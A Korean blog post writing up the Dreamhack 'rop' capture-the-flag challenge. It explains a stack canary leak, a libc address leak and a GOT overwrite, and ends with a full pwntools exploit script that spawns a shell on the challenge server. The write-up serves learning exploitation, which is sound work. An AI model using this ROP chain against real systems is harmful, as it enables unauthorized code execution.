암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그

[Dreamhack] rop 본문

Dreamhack/Pwnable

[Dreamhack] rop

h34hg0 2023. 5. 14. 21:37

문제


 

문제 파일 : libc-2.27.so, rop.c, rop

 

rop.c

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

풀이


checksec --file=./rop

 

카나리 릭 과정은 아래 글과 동일

 

 

Return_to_Library

문제 문제 파일 : rtl.c // Name: rtl.c // Compile: gcc -o rtl rtl.c -fno-PIE -no-pie #include #include const char* binsh = "/bin/sh"; int main() { char buf[0x30]; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); // Add system function to p

heahgo.tistory.com

 

from pwn import *

p = remote('host3.dreamhack.games', 23164)
e = ELF('./rop')
libc = ELF('./libc-2.27.so')

# canary leak
buf = b'A'*0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
success(f'Canary Leak: {hex(canary)}')

 

ASLR 기법에 의하여 라이브러리는 랜덤한 메모 주소에 위치하게 된다.

따라서 라이브러리의 정확한 위치를 알기 위해서는 라이브러리의 베이스 값을 구하면 된다.

(함수 현재 주소 값) - (함수 절대 주소 값) = (라이브러리 베이스 값)

 

read_plt = e.plt['read']
read_got = e.got['read']   
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3 
pop_rsi_r15 = 0x00000000004007f1

payload = b'A'*0x38 + p64(canary) + b'A' * 0x08

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)

 

위 코드는 리턴 가젯을 이용하여 puts(read_got) 를 실행시켜 read 함수의 실제 주소 값을 출력시키는 부분에 해당하는 코드이다.

 

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2) 
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']

 

출력된 read 함수의 주소 값을  pwntools 의 recvn함수를 통해 받아와서 라이브러리 베이스 값을 계산하고, (read 함수 실제 주소) - (read 함수 절대 주소) = (라이브러리 베이스)  얻은 베이스 값으로 실제 system 함수가 위치한 주소값을 구한다.

 

read = u64(p.recvn(6) + b'\x00' * 2)

 

64bit 운영체제인데도 불구하고, 주소 값이 8바이트가 아닌 이유는 , 특정 영역을 제외한 메모리의 가상주소는 6바이트만 사용하고 있기 때문이다.

 

system 함수의 위치를 알았으므로 read 함수의 got 값을 system 함수의 주소값으로 덮어서 read 함수의 plt 를 호출할 때, read 함수가 아닌 system 함수가 호출 되도록 만들 것이다.

 

# read(0, read_got, 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

 

 

read 함수를 이용해서 read 함수의 got 값을 바꿀 수 있게 만든 코드이다. 위 페이로드가 동작하면 read(0, read_got, 0x100) 를 호출하게 되어 입력값을 기다리는 상태가 되는데 이때  아래의 코드를 통해 system 함수의 주소 값과 쉘을 실행시키기 위해 필요한 /bin/sh 문자열을 입력한다. 그러면 read_got에는 system 함수 주소값이, read_got + 0x08은 "/bin/sh" 이 저장된다.

(pop r15 가 들어가있는 이유는 pop rsi 가 포함되어 있는 리턴 가젯이 pop rsi; pop r15; ret 뿐이여서 r15 가 들어간 것일뿐 실제로 사용하지는 않는다)

 

p.send(p64(system) + b"/bin/sh\x00")

 

위위 코드의 블록의 payload를 보면 rdi = 0, rsi = read_got 로 설정했으나 세번째 인자인 rdx 값을 정해주지 않은 것을 볼 수 있다. 

그 이유는 디버깅을 해보면 rdx 값이 0x100 으로 되어 있어 값을 정해줄 필요가 없기 때문이다.

 

gdb
rdx : 0x100

 

# system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x08)
payload += p64(read_plt)

 

이제 read 함수를 호출하면 system 함수가 호출이 된다, 따라서 위와 같이 가젯들을 사용하여 system("/bin/sh")을 호출하여 쉘을 얻는다.

read_got + 0x08 : "/bin/sh"

 

정리하면 익스플로잇 코드는 다음과 같다.

exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 23164)
e = ELF('./rop')
libc = ELF('./libc-2.27.so')

# canary leak
buf = b'A'*0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
success(f'Canary Leak: {hex(canary)}')

read_plt = e.plt['read']
read_got = e.got['read']   
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3 
pop_rsi_r15 = 0x00000000004007f1

payload = b'A'*0x38 + p64(canary) + b'A' * 0x08

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt) 

# read(0, read_got, 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x08)
payload += p64(read_plt)

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2) 
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']

success(f'read GOT : {hex(read)}')
success(f'system adress: {hex(system)}')

p.send(p64(system) + b"/bin/sh\x00")   

p.interactive()

 

exploit.py 를 실행하면 쉘을 획득하여 flag를 확인할 수 있다.


 

'Dreamhack > Pwnable' 카테고리의 다른 글

[Dreamhack] Return_to_Library  (0) 2023.05.04
[Dreamhack] ssp_001  (0) 2023.04.09
[Dreamhack] Return to Shellcode  (0) 2023.04.07
[Dreamhack] basic_exploitation_000  (0) 2023.04.02
[Dreamhack] basic_exploitation_001  (0) 2023.04.02